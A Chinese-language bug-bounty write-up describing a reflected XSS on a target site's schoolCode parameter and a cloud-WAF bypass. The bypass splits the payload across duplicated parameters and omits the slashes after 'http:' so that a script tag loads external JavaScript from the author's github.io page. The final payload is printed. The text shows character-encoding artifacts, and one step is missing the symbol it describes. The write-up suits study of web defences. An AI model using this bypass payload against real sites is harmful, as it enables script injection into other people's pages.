前言:下面的漏洞挖掘案例,將會用到上篇提到的幾個(gè)挖掘技巧。
1、我發(fā)現(xiàn)目標(biāo)站點(diǎn)是存在傳參回顯的,我在參數(shù)schoolCode中傳入了一個(gè)值,接著返回的頁面中回顯了這個(gè)值。

2、接著進(jìn)行數(shù)組傳參測試,構(gòu)造了兩個(gè)schoolCode參數(shù)進(jìn)行傳遞,頁面成功返回了jammny,jammny

3、通過fuzz,可以看到<script>完整的標(biāo)簽是能夠被使用的。

4、云waf通常是通過語義檢測攻擊行為的,因此實(shí)際上很多標(biāo)簽都是可以被使用的。比如說<img>標(biāo)簽等:

5、本次payload構(gòu)造選擇就使用<script>,先在自己的github.io頁面上新建一個(gè)xss.js文件,用于src外部引用,內(nèi)容為:alert(/xss/)。

6、正常引用肯定是被攔截的:
<script src="http://jammny.github.io/xss.js">

7、不著急,慢慢繞。從右往左的順序,挨個(gè)刪直到?jīng)]有攔截為止。直到如下情況:
攔截:<script src=http://>
未攔截:<script src=http:/>

8、也就是說waf檢測到http://就會被攔截。這里科普一個(gè)冷知識,可以使用代替//進(jìn)行繞過,效果是一樣的:
http:jammny.github.io ==> http://jammny.github.io
9、重新開始補(bǔ)全路徑,知道加入尖括號閉合后,被waf攔截。

10、由于目標(biāo)可以使用數(shù)組傳參,因此可以通過構(gòu)造多一個(gè)參數(shù)來分割payload。
<script src=http:jammny.github.io/xss.js&schoolCode=>

11、再自己整合一下payload,閉合好標(biāo)簽。就可以成功繞過waf執(zhí)行xss了。
<script%20src=http:jammny.github.io/xss.js%20&schoolCode=></script>

